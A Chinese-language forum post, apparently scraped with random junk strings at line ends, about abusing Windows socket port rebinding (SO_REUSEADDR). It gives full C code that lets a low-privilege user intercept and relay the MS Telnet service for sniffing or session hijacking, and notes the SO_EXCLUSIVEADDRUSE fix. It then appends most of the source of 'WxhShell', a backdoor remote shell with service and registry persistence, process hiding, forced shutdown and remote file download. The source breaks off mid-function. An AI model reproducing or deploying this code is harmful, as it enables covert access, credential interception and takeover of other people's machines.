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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: A0 w `o  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Z6 |'k:R8  
F(kRAe;  
  saddr.sin_family = AF_INET; ;),O*Z|"v  
OrqJo!FEg{  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); `EW_pwZPA  
, $F0D  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); R5~vmT5W  
R S_lQ{'  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 GeW$lA I  
$oBZe>s .  
  这意味着什么?意味着可以进行如下的攻击: ?@ye*%w_  
IgnY* 2FT  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 >rX R;4%  
\:)o'-   
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2ZIY{lBe  
f0'Wq^^  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 jQBdS. }'v  
uEO2,1+  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  H_r'q9@<>  
Oh85*3  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 uF|ix.R6  
~rfjQPbh9x  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 UE;) mZ=l|  
7 QJcRZ[lU  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 cNB$g )`  
~oR&0et  
  #include U[ungvU1U  
  #include }4ju2K  
  #include 8 =Lv7G%  
  #include    ,^Srd20  
  DWORD WINAPI ClientThread(LPVOID lpParam);   s5 'nWMo  
  int main() !>);}J!e]  
  { 5K-)X9z?  
  WORD wVersionRequested; ) CTM  
  DWORD ret; ~"YNG?Rre  
  WSADATA wsaData; E"yf!*  
  BOOL val; r/<JY5  
  SOCKADDR_IN saddr; #\["y%;W  
  SOCKADDR_IN scaddr; UN4) >\Y  
  int err; y$Noo)Z  
  SOCKET s; %4KJ&R (>[  
  SOCKET sc; *w,gi.Y3  
  int caddsize; ,DO mh<b  
  HANDLE mt; |6Z M xY  
  DWORD tid;   ? UDvFQ&  
  wVersionRequested = MAKEWORD( 2, 2 ); >RnMzH/9  
  err = WSAStartup( wVersionRequested, &wsaData ); F|K4zhK  
  if ( err != 0 ) { A)\DPLAG  
  printf("error!WSAStartup failed!\n"); 0qUap*fvC  
  return -1; 1}M.}G2u/  
  } meD (ja  
  saddr.sin_family = AF_INET; `v{X@x  
   i */U.'#  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 E,:pIw  
9o'6es..@Z  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); {xoo9jq-  
  saddr.sin_port = htons(23); EZfa0jJD  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) dkp[?f)x  
  { yE9.]j  
  printf("error!socket failed!\n"); p>O< "X@  
  return -1; 1 *CWHs  
  } B9-[wg#0G  
  val = TRUE; lhj2u]yU0S  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 OFbg]{ub?  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 5/ju it  
  { [wG%@0\  
  printf("error!setsockopt failed!\n"); hyoZh Y  
  return -1; @v=q,A8_  
  } VrxH6Y  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; .U%"oD  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 }O  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 jsQ$.)nO  
.x8$PXjPG  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) /vMyf),2  
  { N|S xAg  
  ret=GetLastError(); .&xNJdsY  
  printf("error!bind failed!\n");  e5]AB  
  return -1; -P&e4sV{  
  } FM[To  
  listen(s,2); EPRs%(w`  
  while(1) e8bJ]  
  { V+z)B+  
  caddsize = sizeof(scaddr); %Ege^4PE  
  //接受连接请求 BB$>h-M/%#  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);  0 XzO`*  
  if(sc!=INVALID_SOCKET) ~\,6 C1M  
  { 7bS[\5  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); %m3efaC  
  if(mt==NULL) p> S/6 [X  
  { "|SE#k  
  printf("Thread Creat Failed!\n"); +r_[Tj|Er  
  break; ,+.# eg  
  } J}CK|}  
  } ppKCY4  
  CloseHandle(mt); 1+($"$ZC&B  
  } Beg5[4@  
  closesocket(s); *rT(dp!Y  
  WSACleanup(); gw T,D.'Ut  
  return 0; V0i$"|F+ E  
  }   pN_!&#|+$  
  DWORD WINAPI ClientThread(LPVOID lpParam) [CX?Tt  
  { & jvG]>CS'  
  SOCKET ss = (SOCKET)lpParam; Sw'?$j^3  
  SOCKET sc; lJ#>Y5Qg  
  unsigned char buf[4096]; \S@6@ UGv  
  SOCKADDR_IN saddr; =)8fE*[s   
  long num; l.l~K%P'h  
  DWORD val; KW^aARJ)  
  DWORD ret; a0\UL"z#+  
  //如果是隐藏端口应用的话,可以在此处加一些判断 !yrHVc  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   926oM77  
  saddr.sin_family = AF_INET; "@$STptkc  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ?UDO%`X  
  saddr.sin_port = htons(23); )A=g# D#  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _<Yo2,1^  
  { %WR"85  
  printf("error!socket failed!\n"); *`T &Dlt'8  
  return -1; [bJnl>A  
  } G[j79o  
  val = 100; ]M;! ])b$  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7:'>~>'  
  { c F]3gM  
  ret = GetLastError(); =lQ[%&  
  return -1; 5AU3s  
  } bz]O(`  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) oW6<7>1M7  
  { !H\GHA'DO]  
  ret = GetLastError(); .+h pxZ  
  return -1; Qpf]3  
  } x`i`]6q  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) `wd*&vl  
  { W[<":NX2  
  printf("error!socket connect failed!\n"); s;$TX304  
  closesocket(sc); ;tiU OixJ  
  closesocket(ss); ZH_4'm!^g|  
  return -1; :exuTn  
  } l}c2l'  
  while(1) mXj Ljgc}  
  { UROi.976D  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 q.{/{9  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 'fFdqsXr  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 !5t 3Y  
  num = recv(ss,buf,4096,0); 4{t$M}?N  
  if(num>0) 2tm-:CPG  
  send(sc,buf,num,0); ~la04wR28  
  else if(num==0) >Fk `h=Wd  
  break; T?{9Z  
  num = recv(sc,buf,4096,0); KdsvZim0>  
  if(num>0) "e<. n  
  send(ss,buf,num,0); z}8L}:  
  else if(num==0) \RyA}P5 S  
  break; -wMW@:M_  
  } b)^ZiRW``  
  closesocket(ss); -GVG1#5  
  closesocket(sc); HWOs@ !cL  
  return 0 ; [qMdOY%jx  
  } } /3pC a  
"m;]6B."  
fhx:EZ:~  
========================================================== ){6)?[G  
UVUO}B@[S  
下边附上一个代码,,WXhSHELL z>;+'>XXgx  
L b;vrh;A  
========================================================== wN hR(M7  
rss.F3dK  
#include "stdafx.h" w*}yw"gP*0  
,GP4I3D  
#include <stdio.h> 1?#9K j{ql  
#include <string.h> <>Ddxmw  
#include <windows.h> `h5eej&s(  
#include <winsock2.h> L#q9_-(#  
#include <winsvc.h> ?QT"sj64w  
#include <urlmon.h> HTyF<K  
~7WXjVZ  
#pragma comment (lib, "Ws2_32.lib") \+Ln~\Sv  
#pragma comment (lib, "urlmon.lib") ]Ja8i%LjOG  
e4%*I8 ^e  
#define MAX_USER   100 // 最大客户端连接数 :P~& b P  
#define BUF_SOCK   200 // sock buffer H<7DcwXv  
#define KEY_BUFF   255 // 输入 buffer Ilu`b|%D  
G2{M#H  
#define REBOOT     0   // 重启 RTBBb:eX  
#define SHUTDOWN   1   // 关机 ;Jn0e:x`E  
slvs oN@  
#define DEF_PORT   5000 // 监听端口 e - ]c  
&dDI*v+  
#define REG_LEN     16   // 注册表键长度 E816 YS='  
#define SVC_LEN     80   // NT服务名长度 _s-HlE?C  
5po' (r|U  
// 从dll定义API l~!fQ$~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); C!k9JAa$Z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); yZ)aKwj%U  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); b\j&!_   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); L(2P|{C  
VN-#R=D  
// wxhshell配置信息 O| 6\g>ew  
struct WSCFG { 05VOUa*pb  
  int ws_port;         // 监听端口 X+E\]X2  
  char ws_passstr[REG_LEN]; // 口令 Dke($Jr{  
  int ws_autoins;       // 安装标记, 1=yes 0=no V0 +k3H  
  char ws_regname[REG_LEN]; // 注册表键名 + >gbZ-S  
  char ws_svcname[REG_LEN]; // 服务名 yki51rOI*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3_*Xk. .d  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Etc?;Z[F#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %i -X@.P  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .>64h H  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &}6ES{Nr8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 M:UB>-`bW  
m|2]lb  
}; 0"qim0%|DF  
0Q- Mxcj  
// default Wxhshell configuration ENx@Ex  
struct WSCFG wscfg={DEF_PORT, f,HzrHax  
    "xuhuanlingzhe", io r [v  
    1, ?}3PJVy?  
    "Wxhshell", h?3,B0G  
    "Wxhshell", ^8oc^LOa~2  
            "WxhShell Service", -wRyMY_ D  
    "Wrsky Windows CmdShell Service", Jt>[]g$  
    "Please Input Your Password: ", P`3s\8[Q  
  1, `\F%l?aY  
  "http://www.wrsky.com/wxhshell.exe", Cs[7% j  
  "Wxhshell.exe" Ei9_h  
    }; i B!hEbz  
QTjftcu  
// 消息定义模块 <V:<x  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; x\J;ZiWwW  
char *msg_ws_prompt="\n\r? for help\n\r#>"; qM1)3.)[:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; V)1:LLRW  
char *msg_ws_ext="\n\rExit."; yg+IkQDf4U  
char *msg_ws_end="\n\rQuit."; 0gOrW=  
char *msg_ws_boot="\n\rReboot..."; "?eH=!  
char *msg_ws_poff="\n\rShutdown..."; cR=94i=t  
char *msg_ws_down="\n\rSave to "; =yTa,PY  
i+X2M-[Ls  
char *msg_ws_err="\n\rErr!"; FSU%?PxO  
char *msg_ws_ok="\n\rOK!"; 0ve`  
a?,[w'7FU  
char ExeFile[MAX_PATH]; Y=:KM~2hv  
int nUser = 0; n,?IcDU~m  
HANDLE handles[MAX_USER]; OSa}8rlr'  
int OsIsNt; 4Ay`rG  
xjK_zO*dLq  
SERVICE_STATUS       serviceStatus; ^#BGA|j  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; c.8((h/  
lsB9;I^+x  
// 函数声明 1] %W\RHxo  
int Install(void); iJZ|[jEDV  
int Uninstall(void); JIP+ !2  
int DownloadFile(char *sURL, SOCKET wsh); lLkmcHu  
int Boot(int flag); 'Uko^R)(  
void HideProc(void); zD)IU_GWa  
int GetOsVer(void); 2B9 i R  
int Wxhshell(SOCKET wsl); ovDJ{3L6O  
void TalkWithClient(void *cs);  z _O,Y  
int CmdShell(SOCKET sock); 2 ]V>J  
int StartFromService(void); LmXF`Y$  
int StartWxhshell(LPSTR lpCmdLine); aVQSN  
xI@$aTGq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0;FqX*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); GDHK.?GY  
YA"Ti9-EV  
// 数据结构和表定义 %kK ][2e  
SERVICE_TABLE_ENTRY DispatchTable[] = 5 PGlR!^  
{ dSe8vA!)  
{wscfg.ws_svcname, NTServiceMain}, r:c@17  
{NULL, NULL} '_.q_Tf-^  
}; Hbjb7Y?[  
vnC<*k4&v  
// 自我安装 RGl=7^M  
int Install(void) qY$*#*Q  
{ v@fe-T&0  
  char svExeFile[MAX_PATH]; O}K_l1  
  HKEY key; -t@y\vZF,  
  strcpy(svExeFile,ExeFile); Q%& _On  
WxVn&c\  
// 如果是win9x系统,修改注册表设为自启动 xb9Pc.A[  
if(!OsIsNt) { &o*s !u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t;.^K\S4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @K$VV^wp  
  RegCloseKey(key); %@lV-(5q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h"%|\o+3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yV:EK{E  
  RegCloseKey(key); %XP_\lu]  
  return 0; D!bKm[T  
    } n+{HNr  
  } d~{jEg  
} ?$|uT  
else { W\@?e32  
9Z,*h-o  
// 如果是NT以上系统,安装为系统服务 {W5ydHXy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); eg"=H50  
if (schSCManager!=0) aho'|%y)  
{ cOSxg=~>u  
  SC_HANDLE schService = CreateService eyeNrk*2o  
  ( `z|= ~  
  schSCManager, pk-yj~F}  
  wscfg.ws_svcname, r}/yi  
  wscfg.ws_svcdisp, ;wij}y-6  
  SERVICE_ALL_ACCESS, 2;r]gT~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \{c,,th  
  SERVICE_AUTO_START, _tWJXv~;  
  SERVICE_ERROR_NORMAL, I1Hw"G"&  
  svExeFile, FI]P<)*r  
  NULL, DtzA$|Q}  
  NULL, {$EH@$./  
  NULL, RAIVdQ}.Z  
  NULL, =?/N5O(  
  NULL vkd[: CC  
  ); B4]AFRI  
  if (schService!=0) , CJAzGBS  
  { )W&o?VRfO  
  CloseServiceHandle(schService); GWF/[%  
  CloseServiceHandle(schSCManager); qbS'|--wH  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &/Eg2  
  strcat(svExeFile,wscfg.ws_svcname); QS3U)ZO$@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]43alf F#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); uYFMv=>j  
  RegCloseKey(key); %1Bn_  
  return 0; C%giv9a  
    } wYZT D*A2h  
  } C=fsJ=a5;  
  CloseServiceHandle(schSCManager); Z?m -&%  
} 3gb|x?  
} J+Q+&-a  
P!kw;x  
return 1; \Sg<='/{L;  
} q=|R89  
H@V 7!d  
// 自我卸载 sK+ (v  
int Uninstall(void) r& vFikIz  
{ IQ ){(Y  
  HKEY key; nD7|8,'  
gks ==|s.  
if(!OsIsNt) { bf& }8I$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _p\629`  
  RegDeleteValue(key,wscfg.ws_regname); kmryu=  
  RegCloseKey(key); ?2{bKIV_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _|N}4a  
  RegDeleteValue(key,wscfg.ws_regname); 3pvYi<<D'  
  RegCloseKey(key); !X^Hi=aV  
  return 0; :6XguU  
  } KX!i\NHz  
} led))qd@V-  
} <lUOJV{&\  
else { ~@{w\%(AK]  
>DHp*$y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); dXmV@ Noo  
if (schSCManager!=0) ]1m"V;vZ  
{ ).LTts7c  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); lWW+5  
  if (schService!=0) CJJD@=  
  { wMGk!N  
  if(DeleteService(schService)!=0) { 8O>}k  
  CloseServiceHandle(schService); !<&m]K  
  CloseServiceHandle(schSCManager); *n8%F9F  
  return 0; # kyl?E  
  } oBr.S_Qe  
  CloseServiceHandle(schService); !BDUv(  
  } 9Gca6e3  
  CloseServiceHandle(schSCManager); Frk cO  
} >&OUGu|  
} zF8'i=b&  
%?bcT[|3  
return 1; Y$g}XN*)E  
} f|U0s  
baee?6  
// 从指定url下载文件 6R`Oh uN.>  
int DownloadFile(char *sURL, SOCKET wsh) Zmf'{tT5  
{ $$hv`HE^l  
  HRESULT hr; Ur^j$B}  
char seps[]= "/"; @9Q2$  
char *token; Ow3P-UzU3  
char *file; p,F^0OU2}:  
char myURL[MAX_PATH]; 9IA$z\<<w  
char myFILE[MAX_PATH]; %a];  
5!Bktgk.  
strcpy(myURL,sURL); $6T3y8  
  token=strtok(myURL,seps); n 6{2]&sd  
  while(token!=NULL) MM?`voj~`p  
  { Y>B P?l  
    file=token; m 41t(i  
  token=strtok(NULL,seps); 'Hw4j:pS  
  } nBN&.+3t  
@wp4 |G  
GetCurrentDirectory(MAX_PATH,myFILE); [|[>}z:  
strcat(myFILE, "\\"); `2 `fiKm  
strcat(myFILE, file); JS2nXs1  
  send(wsh,myFILE,strlen(myFILE),0); ,m^;&&  
send(wsh,"...",3,0); =oX>Ph+ P  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); DdSSd@,x*  
  if(hr==S_OK) @m~RtC-Q  
return 0; ?7jg(`Yh  
else '7*=`q{  
return 1; fj>C@p  
09S6#;N&  
} y,=du  
{fV}gR2  
// 系统电源模块 :m'+tGs  
int Boot(int flag) vMla'5|l  
{ NOt@M  
  HANDLE hToken; iWE)<h  
  TOKEN_PRIVILEGES tkp; -Xz&}QA  
5l DFp9  
  if(OsIsNt) { ]XeO0Y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); x0Yse:RE^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); b.F^vv"]]  
    tkp.PrivilegeCount = 1; :?Y$bX}a  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5\Fz!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *1{S*`|cJy  
if(flag==REBOOT) { &<5+!c V=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :jEPu3E:  
  return 0; @]HXP_lyD/  
} w!SkWS b,~  
else { l&$$w!n0w  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) T[?6[,.  
  return 0; PUdM[-zjh  
} M2@b1;  
  } W `z 0"  
  else { M+`H g_#Q  
if(flag==REBOOT) { xd-XWXc  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9}29&O  
  return 0; BVw Wj-,  
} (k`{*!:1a  
else { FP^{=0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) R?66b{O  
  return 0; DJ@|QQ  
} >TjJA #  
} AoaN22  
[xb]Wf  
return 1; p?X02 >yA  
} %7hB&[ 5  
`^9(Ot $  
// win9x进程隐藏模块 _qXa=|}V.  
void HideProc(void) xJs;v  
{ =~KsS }`1,  
!yOeW0/2[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); SC &~s$P;  
  if ( hKernel != NULL ) jJZgK$5+  
  { C'A]i5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1 " #*)MF  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *e#<n_%R  
    FreeLibrary(hKernel); 1w(JEqY3h:  
  } jZoNi  
}/P5>F<H[  
return; B;K`q  
} IJIzXU  
zTbVp8\pI  
// 获取操作系统版本 C0*@0~8$9  
int GetOsVer(void) 6t'l(E +  
{ f~{}zGTM:  
  OSVERSIONINFO winfo; cbYLU\!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9#d+RT  
  GetVersionEx(&winfo); VOTv?Vf  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7OCwG~_^  
  return 1; ;Xvp6.:  
  else Mwp$  
  return 0; 4*.K'(S5fx  
} 3jH\yXj  
k n[Y   
// 客户端句柄模块 ;a{:%t  
int Wxhshell(SOCKET wsl) WY:&ugGx  
{ llV3ka^!  
  SOCKET wsh; Z?Hs@j  
  struct sockaddr_in client; G~7 i@Zs  
  DWORD myID; gb=/#G0R  
6 15s5ZA  
  while(nUser<MAX_USER) ] b9-k  
{ aVL=K  
  int nSize=sizeof(client); z+a%5J  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !2UOC P  
  if(wsh==INVALID_SOCKET) return 1; 3bZIYF2@  
ORXm&z)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^u}L;`L  
if(handles[nUser]==0)  7R#+Le)  
  closesocket(wsh); _p-t<ytnh  
else jOpcV|2  
  nUser++; 9+s.w25R  
  } >odbOi+X  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !+)AeDc:j  
z@Q@^ &0Mr  
  return 0; Vm}%ttTC  
} #rO8Kf  
XdLCbY  
// 关闭 socket #GDe0 8rOw  
void CloseIt(SOCKET wsh) ,#d? _?/:O  
{ ~=<}\a~  
closesocket(wsh); rNjn~c  
nUser--; ZQ^r`W9_ +  
ExitThread(0); B+C);WQ,  
} 8}X5o]Mv  
uXDq~`S  
// 客户端请求句柄 g,o?q:FL  
void TalkWithClient(void *cs) 3p2P= T  
{ mbnV[  
9Y>8=#.c  
  SOCKET wsh=(SOCKET)cs; kF;D BN  
  char pwd[SVC_LEN]; joKIrS0y  
  char cmd[KEY_BUFF]; Uw,2}yR  
char chr[1]; ~8"8w(CG*I  
int i,j; ay "'#[  
\I"Z2N>^z  
  while (nUser < MAX_USER) { ]?x: Qm'yo  
<<=WY_m}  
if(wscfg.ws_passstr) { jdE5~a+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -C(b,F%%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9% l%  
  //ZeroMemory(pwd,KEY_BUFF); Yt|6 X:l  
      i=0; YEkh3FrbwH  
  while(i<SVC_LEN) { .<tquswg  
{-|{xBd  
  // 设置超时 )X9W y!w0  
  fd_set FdRead; E0%~! b  
  struct timeval TimeOut; s&\I=J.  
  FD_ZERO(&FdRead); B+^(ktZp@  
  FD_SET(wsh,&FdRead); \AL f$88>@  
  TimeOut.tv_sec=8; h~{aGo  
  TimeOut.tv_usec=0; OpM(j&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); I;VuW  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,rJXy_  
!T](Udf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?4H i-  
  pwd=chr[0]; <mi-}s  
  if(chr[0]==0xd || chr[0]==0xa) { OHiQ7#y  
  pwd=0; &>e-(4Xu  
  break; N2.AKH  
  } :Mm3 gW)  
  i++; zIP6\u  
    } ,g%&|FAP  
5~mh'<:  
  // 如果是非法用户,关闭 socket meN2ZB?Y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Z|%_oR~b|  
} ;<G=M2  
Y"OG@1V;8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); GA7}K:LP'k  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y0 D}g3`  
ynA|}X  
while(1) { h3dsd  
&WNf M+  
  ZeroMemory(cmd,KEY_BUFF); JaB<EL-9r2  
'v]u#/7a  
      // 自动支持客户端 telnet标准   lA>DS#_  
  j=0; f!O{%ev  
  while(j<KEY_BUFF) { )(y) A[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pb#?l6x$+  
  cmd[j]=chr[0]; K&8dA0i2u2  
  if(chr[0]==0xa || chr[0]==0xd) { k)TSR5A  
  cmd[j]=0; Q#nOJ(KV  
  break; ,V*%V;  
  } R+&jD;U{  
  j++; !Hys3AP  
    } x\Z'2?u}  
5) -~mW y  
  // 下载文件 pp7$J2s+j  
  if(strstr(cmd,"http://")) { 5jUYN-$GO  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); C@jJ.^ <<  
  if(DownloadFile(cmd,wsh)) $.9{if#o&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); XJLQ {  
  else gY@N~'f;"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J>u 7,  
  } {uGP&cS~(  
  else { 6xD#?  
hE h}PX:  
    switch(cmd[0]) { w`q%#q Rk  
  ew"v{=X  
  // 帮助 e9Nk3Sj]  
  case '?': { XS$OyW_Q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Zh_|m#)  
    break; Y(44pA&oN  
  } x' .:&z  
  // 安装 -!c"k}N=  
  case 'i': { ss5 m/i7  
    if(Install()) da (km+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @:KJYm[  
    else 26xXl|I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /="~gq@  
    break; :O(^w}sle  
    } ^5=B`aich  
  // 卸载 xhRngHU\z<  
  case 'r': { To?W?s  
    if(Uninstall()) c+2FC@q{l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b$Vz2Fzx  
    else /% N r?V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EY \H=@A  
    break; ;\p KDPr  
    } %'[&U#-  
  // 显示 wxhshell 所在路径 1 5A*7|  
  case 'p': { _1U1(^)  
    char svExeFile[MAX_PATH]; 8=]Tr3   
    strcpy(svExeFile,"\n\r"); R58-wUto  
      strcat(svExeFile,ExeFile); n_'s=]~  
        send(wsh,svExeFile,strlen(svExeFile),0); ;pnD0bH  
    break; ij?  
    } IEU^#=n  
  // 重启 PG,_^QGCX  
  case 'b': { A]XZnQ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); qG<$Ajiin  
    if(Boot(REBOOT)) &gjF4~W]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qbv#I;  
    else { q `pP$i:  
    closesocket(wsh); |^A;&//  
    ExitThread(0); YX` 7Hm,  
    } P{u0ftyX}  
    break; '3?\K3S4i  
    } 6H'HxB4  
  // 关机 / z}~zO  
  case 'd': { 6C-z=s)P&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ox@sI:CT  
    if(Boot(SHUTDOWN)) 1bH;!J  
